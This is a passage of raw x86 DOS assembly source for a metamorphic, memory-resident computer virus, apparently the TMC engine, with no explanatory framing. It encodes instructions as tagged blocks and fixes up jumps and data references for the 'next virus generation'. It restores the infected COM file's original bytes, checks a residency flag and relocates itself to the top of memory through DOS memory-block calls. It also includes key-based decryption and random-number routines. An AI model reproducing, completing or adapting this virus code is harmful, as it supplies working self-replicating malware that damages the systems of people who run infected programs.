cmp dx,7fh ; 8-bit immediate out of range?
|
|
|
|
db 01111111b+10000000b ; Greater? Jump to invert_jcc_
|
|
dw 0bceh ; Pointer to invert_jcc_
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp dx,0ff80h ; 8-bit immediate out of range?
|
|
|
|
db 01111100b+10000000b ; Less? Jump to invert_jcc_
|
|
dw 0bceh ; Pointer to invert_jcc_
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov [bx],dl ; Store 8-bit immediate
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc bx ; BX = offset of end of Jcc imm8
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov [bx],1001000010010000b
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov byte ptr [bx+02h],10010000b
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop dx ; Load DX from stack
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bd0h ; Pointer to correc_i16_
|
|
db 11101111b ; End of block
|
|
invert_jcc_ db 11101110b ; Beginning of block
|
|
dw 0bceh ; Block identification of invert_jcc_
|
|
db 01h ; One byte instruction
|
|
|
|
pop dx ; Load DX from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec bx ; BX = offset of Jcc imm8
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
xor byte ptr [bx],00000001b
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc bx ; BX = offset of 8-bit immediate
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov byte ptr [bx],03h ; Store 8-bit immediate
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc bx ; BX = offset of JMP imm16
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov al,11101001b ; JMP imm16 (opcode 0e9h)
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bcfh ; Pointer to sto_call_j
|
|
db 11101111b ; End of block
|
|
sto_call_j db 11101110b ; Beginning of block
|
|
dw 0bcfh ; Block identification of sto_call...
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov [bx],al ; Store CALL imm16; JMP imm16
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc bx ; BX = offset of 16-bit immediate
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
sub dx,bx ; Subtract offset within next viru...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec dx ; Decrease 16-bit immediate
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec dx ; Decrease 16-bit immediate
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov [bx],dx ; Store 16-bit immediate
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bd0h ; Pointer to correc_i16_
|
|
db 11101111b ; End of block
|
|
correc_i16_ db 11101110b ; Beginning of block
|
|
dw 0bd0h ; Block identification of correc_...
|
|
db 01h ; One byte instruction
|
|
|
|
dec cx ; Decrease counter
|
|
|
|
db 01110101b+10000000b ; Not zero? Jump to jmp_call_lo
|
|
dw 0bcbh ; Pointer to jmp_call_lo
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,3000h ; SI = offset of data information
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cx,ds:[08h] ; CX = offset of end of data infor...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
sub cx,si ; Subtract offset of data informat...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shr cx,01h ; Divide number of data references...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shr cx,01h ; Divide number of data references...
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bd1h ; Pointer to data_ref_lo
|
|
db 11101111b ; End of block
|
|
data_ref_lo db 11101110b ; Beginning of block
|
|
dw 0bd1h ; Block identification of data_ref_lo
|
|
db 01h ; One byte instruction
|
|
|
|
lodsw ; AX = offset of block within data...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push ax ; Save AX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
lodsw ; AX = offset of block within data...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push cx ; Save CX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push si ; Save SI at stack
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,1000h ; SI = offset of block information
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cx,ds:[04h] ; CX = offset of end of block info...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
sub cx,si ; Subtract offset of block informa...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shr cx,01h ; Divide number of block by two
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shr cx,01h ; Divide number of block by two
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bd2h ; Pointer to find_bloc
|
|
db 11101111b ; End of block
|
|
find_bloc db 11101110b ; Beginning of block
|
|
dw 0bd2h ; Block identification to find_bloc
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,[si+02h] ; Found block?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to found_bloc_
|
|
dw 0bd3h ; Pointer to found_bloc_
|
|
db 03h ; Three bytes instruction
|
|
|
|
add si,04h ; SI = offset of next block in table
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec cx ; Decrease counter
|
|
|
|
db 01110101b+10000000b ; Not zero? Jump to find_bloc
|
|
dw 0bd2h ; Pointer to find_bloc
|
|
db 11101111b ; End of block
|
|
found_bloc_ db 11101110b ; Beginning of block
|
|
dw 0bd3h ; Block identification of found_bloc_
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ax,[si] ; AX = offset of block
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop si ; Load SI from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop cx ; Load CX from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop bx ; Load BX from stack (AX)
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
sub ax,4000h ; Subtract offset of next virus ge...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov [bx],ax ; Store 16-bit immediate
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec cx ; Decrease counter
|
|
|
|
db 01110101b+10000000b ; Not zero? Jump to data_ref_lo
|
|
dw 0bd1h ; Pointer to data_ref_lo
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 1772h ; Pointer to restore_cod
|
|
db 11101111b ; End of block
|
|
restore_cod db 11101110b ; Beginning of block
|
|
dw 1772h ; Block identification of restore_...
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov ax,[bp+1234h] ; AX = segment of PSP for current ...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0befh ; Pointer to program_seg_
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cx,[bp+1234h] ; CX = initial SS relative to star...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 138ah ; Pointer to initial_ss_
|
|
db 03h ; Three bytes instruction
|
|
|
|
add cx,10h ; Add ten to initial SS relative t...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
add cx,ax ; Add segment of PSP for current p...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push cx ; Save CX at stack
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
push [bp+1234h] ; Save initial SP at stack
|
|
|
|
db 11101101b ; Data reference
|
|
dw 138ch ; Pointer to initial_sp_
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cx,[bp+1234h] ; CX = initial CS relative to star...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1389h ; Pointer to initial_cs_
|
|
db 03h ; Three bytes instruction
|
|
|
|
add cx,10h ; Add ten to initial CS relative t...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
add cx,ax ; Add segment of PSP for current p...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push cx ; Save CX at stack
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
push [bp+1234h] ; Save initial IP at stack
|
|
|
|
db 11101101b ; Data reference
|
|
dw 138bh ; Pointer to initial_ip_
|
|
db 01h ; One byte instruction
|
|
|
|
push ax ; Save segment of PSP for current ...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
push [bp+1234h] ; Save size of memory block in par...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1395h ; Pointer to mcb_size__
|
|
db 01h ; One byte instruction
|
|
|
|
push ds ; Save DS at stack
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov cl,00h ; COM executable
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
cmp [bp+1234h],cl ; COM executable?
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1388h ; Pointer to executa_sta
|
|
db 01110101b+10000000b ; Not equal? Jump to move_virus__
|
|
dw 1390h ; Pointer to move_virus__
|
|
db 04h ; Four bytes instruction
|
|
|
|
lea si,[bp+1234h] ; SI = offset of origin_code_
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1f40h ; Pointer to origin_code_
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,cs:[si] ; AX = first two bytes of original...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cs:[100h],ax ; Store first two bytes of origina...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov al,cs:[si+02h] ; AL = last byte of original code ...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cs:[100h+02h],al ; Store last byte of original code...
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 1390h ; Pointer to move_virus__
|
|
db 11101111b ; End of block
|
|
db 11101110b ; Beginning of block
|
|
dw 1774h
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov ax,[bp+1234h] ; AX = segment of PSP for current ...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0befh ; Pointer to program_seg_
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cx,[bp+1234h] ; CX = initial SS relative to star...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 138ah ; Pointer to initial_ss_
|
|
db 03h ; Three bytes instruction
|
|
|
|
add cx,10h ; Add ten to initial SS relative t...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
add cx,ax ; Add segment of PSP for current p...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push cx ; Save CX at stack
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
push [bp+1234h] ; Save initial SP at stack
|
|
|
|
db 11101101b ; Data reference
|
|
dw 138ch ; Pointer to initial_sp_
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cx,[bp+1234h] ; CX = initial CS relative to star...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1389h ; Pointer to initial_cs_
|
|
db 03h ; Three bytes instruction
|
|
|
|
add cx,10h ; Add ten to initial CS relative t...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
add cx,ax ; Add segment of PSP for current p...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push cx ; Save CX at stack
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
push [bp+1234h] ; Save incorrect IP at stack
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1773h ; Pointer to incorrec_ip
|
|
db 01h ; One byte instruction
|
|
|
|
push ax ; Save segment of PSP for current ...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
push [bp+1234h] ; Save size of memory block in par...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1395h ; Pointer to mcb_size__
|
|
db 01h ; One byte instruction
|
|
|
|
push ds ; Save DS at stack
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov cl,00h ; COM executable
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
cmp [bp+1234h],cl ; COM executable?
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1388h ; Pointer to executa_sta
|
|
db 01110101b+10000000b ; Not equal? Jump to move_virus__
|
|
dw 1390h ; Pointer to move_virus__
|
|
db 04h ; Four bytes instruction
|
|
|
|
lea si,[bp+1234h] ; SI = offset of origin_code_
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1f40h ; Pointer to origin_code_
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,cs:[si] ; AX = first two bytes of original...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cs:[100h],ax ; Store first two bytes of origina...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov al,cs:[si+02h] ; AX = last byte of original code ...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cs:[100h+02h],al ; Store last byte of original code...
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 1390h ; Pointer to move_virus__
|
|
db 11101111b ; End of block
|
|
move_virus__ db 11101110b ; Beginning of block
|
|
dw 1390h ; Block identification of move_vir...
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor ax,ax ; Zero AX
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ds,ax ; DS = segment of DOS communicatio...
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
cmp byte ptr ds:[501h],10h
|
|
|
|
db 01110100b+10000000b ; Already resident? Jump to virus_...
|
|
dw 65h ; Pointer to virus_exit_
|
|
db 05h ; Five bytes instruction
|
|
|
|
mov byte ptr ds:[501h],10h
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push es ; Save ES at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ds ; Load DS from stack (ES)
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,ds:[0ch] ; AX = offset within next virus ge...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
sub ax,4000h ; Subtract offset of next virus ge...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov [bp+1234h],ax ; Store offset of crypt_table
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bf1h ; Pointer to vir_exit_of
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cx,ds:[0eh] ; CX = length of virus
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov [bp+1234h],cx ; Store length of virus
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bf0h ; Pointer to virus_lengt
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,4000h ; SI = offset of next virus genera...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor di,di ; Zero DI
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
rep movsb ; Move virus to top of memory
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov cl,04h ; Divide by paragraphs
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shr di,cl ; DI = length of next virus genera...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc di ; Increase length of next virus ge...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov bx,[bp+1234h] ; BX = size of memory block in par...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1394h ; Pointer to mcb_size___
|
|
db 04h ; Four bytes instruction
|
|
|
|
sub bx,[bp+1234h] ; Subtract new size in paragraphs ...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1393h ; Pointer to new_mcb_siz
|
|
db 02h ; Two bytes instruction
|
|
|
|
sub bx,di ; Subtract length of next virus ge...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec bx ; Decrease new size in paragraphs
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec bx ; Decrease new size in paragraphs
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp bx,di ; Insufficient memory?
|
|
|
|
db 01110010b+10000000b ; Below? Jump to virus_exit_
|
|
dw 65h ; Pointer to virus_exit_
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,4ah ; Resize memory block
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to virus_exit_
|
|
dw 65h ; Pointer to virus_exit_
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov bx,di ; BX = number of paragraphs to all...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,48h ; Allocate memory
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to virus_exit_
|
|
dw 65h ; Pointer to virus_exit_
|
|
db 01h ; One byte instruction
|
|
|
|
push ax ; Save AX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec ax ; AX = segment of current Memory C...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov es,ax ; ES = segment of current Memory C...
|
|
|
|
db 07h ; Seven bytes instruction
|
|
|
|
mov word ptr es:[01h],08h
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop es ; Load ES from stack (AX)
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cx,[bp+1234h] ; CX = length of virus
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bf0h ; Pointer to virus_lengt
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor si,si ; Zero SI
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor di,di ; Zero DI
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
rep movsb ; Move virus to top of memory
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push es ; Save ES at stack
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
push [bp+1234h] ; Save offset of virus_exit_ at stack
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bf1h ; Pointer to vir_exit_of
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov al,[bp+1234h] ; AL = 8-bit encryption/decryption...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bd7h ; Pointer to crypt_key_
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov ah,[bp+1234h] ; AH = 8-bit sliding encrytion/dec...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bd8h ; Pointer to sliding_key_
|
|
db 01h ; One byte instruction
|
|
|
|
retf ; Return far
|
|
|
|
db 11101111b ; End of block
|
|
terminate_ db 11101110b ; Beginning of block
|
|
dw 0beeh ; Block identification of terminate_
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,4c00h ; Terminate with return code
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 11101111b ; End of block
|
|
get_rnd_num_ db 11101110b ; Beginning of block
|
|
dw 0bd4h ; Block identification of get_rnd_...
|
|
db 01h ; One byte instruction
|
|
|
|
push cx ; Save CX at stack
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
in al,40h ; AL = 8-bit random number
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,al ; AH = 8-bit random number
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
in al,40h ; AL = 8-bit random number
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
xor ax,es:[01h] ; AX = 16-bit random number
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov cl,ah ; CL = high-order byte of 16-bit r...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
rol ax,cl ; AX = 16-bit random number
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov es:[01h],ax ; Store 16-bit random number
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop cx ; Load CX from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
ret ; Return
|
|
|
|
db 11101111b ; End of block
|
|
rnd_in_rang db 11101110b ; Beginning of block
|
|
dw 0bd5h ; Block identification of rnd_in_rang
|
|
db 02h ; Two bytes instruction
|
|
|
|
or bp,bp ; Zero BP?
|
|
|
|
db 01110100b+10000000b ; Zero? Jump to zero_range_
|
|
dw 0bd6h ; Pointer to zero_range_
|
|
db 01h ; One byte instruction
|
|
|
|
push dx ; Save DX at stack
|
|
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0bd4h ; Pointer to get_rnd_num_
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor dx,dx ; Zero DX
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
div bp ; DX = random number within range
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
xchg ax,dx ; AX = random number within range
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop dx ; Load DX from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
ret ; Return
|
|
|
|
db 11101111b ; End of block
|
|
zero_range_ db 11101110b ; Beginning of block
|
|
dw 0bd6h ; Block identification of zero_range_
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor ax,ax ; AX = random number within range
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
ret ; Return
|
|
|
|
db 11101111b ; End of block
|
|
decrypt_byt db 11101110b ; Beginning of block
|
|
dw 0be0h ; Block identification of decrypt_byt
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov [bp+1234h],ah ; Store AH
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bd9h ; Pointer to ah__
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ax,si ; AX = offset within table
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
sub ax,bp ; Subtract delta offset from offse...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
sub ax,1234h ; Subtract offset of tmc_table_ fr...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 4c5h ; Pointer to tmc_table_
|
|
db 04h ; Four bytes instruction
|
|
|
|
mul word ptr [bp+1234h] ; AL = 8-bit sliding encryptio...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bd8h ; Pointer to sliding_key_
|
|
db 04h ; Four bytes instruction
|
|
|
|
add al,[bp+1234h] ; AL = 8-bit encryption/decryption...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bd7h ; Pointer to crypt_key_
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor al,[si] ; AL = byte of decrypted table
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov ah,[bp+1234h] ; AH = stored AH
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bd9h ; Pointer to ah__
|
|
db 01h ; One byte instruction
|
|
|
|
inc si ; Increase offset within table
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
ret ; Return
|
|
|
|
db 11101111b ; End of block
|
|
decrypt_id_ db 11101110b ; Beginning of block
|
|
dw 0be1h ; Block identification of decrypt_id_
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0be0h ; Pointer to decrypt_byt
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,al ; AL = byte of decrypted table
|
|
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0be0h ; Pointer to decrypt_byt
|
|
db 02h ; Two bytes instruction
|
|
|
|
xchg al,ah ; AL = byte of decrypted table
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
ret ; Return
|
|
|
|
db 11101111b ; End of block
|
|
virus_exit_ db 11101110b ; Beginning of block
|
|
dw 65h ; Block identification of virus_exit_
|
|
db 01h ; One byte instruction
|
|
|
|
pop es ; Load ES from stack
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,49h ; Free memory
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop bx ; Load BX from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ax ; Load AX from stack
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ds,ax ; DS = segment of PSP for current ...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov es,ax ; DS = segment of PSP for current ...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,4ah ; Resize memory block
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
lea bx,[bp+1234h] ; BX = offset of jmp_imm32_
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1391h ; Pointer of jmp_imm32_
|
|
db 01h ; One byte instruction
|
|
|
|
pop ax ; Load AX from stack (initial IP)
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cs:[bx+01h],ax ; Store initial IP
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ax ; Load AX from stack (initial CS ...)
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cs:[bx+03h],ax ; Store initial CS relative to sta...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ax ; Load AX from stack (initial SP)
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ss ; Load SS from stack (initial SS ...)
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov sp,ax ; SP = stack pointer
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 1391h ; Pointer of jmp_imm32_
|
|
db 11101111b ; End of block
|
|
jmp_imm32_ db 11101110b ; Beginning of block
|
|
dw 1391h ; Block identification of jmp_imm32_
|
|
db 05h+10h ; Five bytes data
|
|
db 11101010b ; JMP imm32 (opcode 0eah)
|
|
dd 00h ; Pointer to virus in top of memory
|
|
db 11101111b ; End of block
|
|
ah__ db 11101110b ; Beginning of block
|
|
dw 0bd9h ; Block identification of ah__
|
|
db 01h+10h ; One byte data
|
|
db 00h ; Accumulator register (high-orde...)
|
|
db 11101111b ; End of block
|
|
probability_ db 11101110b ; Beginning of block
|
|
dw 0bech ; Block identification of probabil...
|
|
db 02h+10h ; Two bytes data
|
|
dw 32h ; Probability
|
|
db 11101111b ; End of block
|
|
crypt_key_ db 11101110b ; Beginning of block
|
|
dw 0bd7h ; Block identification of crypt_key_
|
|
db 01h+10h ; One byte data
|
|
db 00h ; 8-bit encryption/decryption key
|
|
db 11101111b ; End of block
|
|
sliding_key_ db 11101110b ; Beginning of block
|
|
dw 0bd8h ; Block identification of sliding_...
|
|
db 02h+10h ; Two bytes data
|
|
dw 00h ; 8-bit sliding encryption/decrypt...
|
|
db 11101111b ; End of block
|
|
executa_sta db 11101110b ; Beginning of block
|
|
dw 1388h ; Block identification of executa_sta
|
|
db 01h+10h ; One byte data
|
|
db 00h ; Executable status
|
|
db 11101111b ; End of block
|
|
origin_code_ db 11101110b ; Beginning of block
|
|
dw 1f40h ; Block identification of origin_c...
|
|
db 03h+10h ; Three bytes data
|
|
db 11000011b,00000010b dup(00h)
|
|
db 11101111b ; End of block
|
|
initial_cs_ db 11101110b ; Beginning of block
|
|
dw 1389h ; Block identification of initial_cs_
|
|
db 02h+10h ; Two bytes data
|
|
dw 0fff0h ; Initial CS relative to start of ...
|
|
db 11101111b ; End of block
|
|
initial_ss_ db 11101110b ; Beginning of block
|
|
dw 138ah ; Block identification of initial_ss_
|
|
db 02h+10h ; Two bytes data
|
|
dw 0fff0h ; Initial SS relative to start of ...
|
|
db 11101111b ; End of block
|
|
initial_ip_ db 11101110b ; Beginning of block
|
|
dw 138bh ; Block identification of initial_ip_
|
|
db 02h+10h ; Two bytes data
|
|
dw 100h ; Initial IP
|
|
db 11101111b ; End of block
|
|
incorrec_ip db 11101110b ; Beginning of block
|
|
dw 1773h ; Block identification of incorrec_ip
|
|
db 02h+10h ; Two bytes data
|
|
dw 100h ; Incorrect IP
|
|
db 11101111b ; End of block
|
|
initial_sp_ db 11101110b ; Beginning of block
|
|
dw 138ch ; Block identification of initial_sp_
|
|
db 02h+10h ; Two bytes data
|
|
dw 0fffeh ; Initial SP
|
|
db 11101111b ; End of block
|
|
new_mcb_siz db 11101110b ; Beginning of block
|
|
dw 1393h ; Block identification of new_mcb_siz
|
|
db 02h+10h ; Two bytes data
|
|
dw 1000h ; New size in paragraphs
|
|
db 11101111b ; End of block
|
|
mcb_size__ db 11101110b ; Beginning of block
|
|
dw 1395h ; Block identification of mcb_size__
|
|
db 02h+10h ; Two bytes data
|
|
dw 0ffffh ; Size of memory block in paragraphs
|
|
db 11101111b ; End of block
|
|
mcb_size___ db 11101110b ; Beginning of block
|
|
dw 1394h ; Block identification of mcb_siz...
|
|
db 02h+10h ; Two bytes data
|
|
dw 00h ; Size of memory block in paragraphs
|
|
db 11101111b ; End of block
|
|
program_seg_ db 11101110b ; Beginning of block
|
|
dw 0befh ; Block identification of program_...
|
|
db 02h+10h ; Two bytes data
|
|
dw 00h ; Segment of PSP for current process
|
|
db 11101111b ; End of block
|
|
virus_lengt db 11101110b ; Beginning of block
|
|
dw 0bf0h ; Block identification of virus_lengt
|
|
db 02h+10h ; Two bytes data
|
|
dw 00h ; Length of virus
|
|
db 11101111b ; End of block
|
|
vir_exit_of db 11101110b ; Beginning of block
|
|
dw 0bf1h ; Block identification of vir_exit_of
|
|
db 02h+10h ; Two bytes data
|
|
dw 00h ; Offset of virus_exit_
|
|
db 11101111b ; End of block
|
|
tmc_table_ db 11101110b ; Beginning of block
|
|
dw 4c5h ; Block identification of tmc_table_
|
|
db 11101111b ; End of block
|
|
db 00h ; End of table
|
|
second_table db 11101111b ; End of block
|
|
virus_end:
|
|
crypt_table db 11101110b ; Beginning of block
|
|
dw 66h ; Block identification of crypt_table
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor bp,bp ; BP = delta offset
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push cs ; Save CS at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ds ; Load DS from stack
|
|
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0bfeh ; Pointer to crypt_table_
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
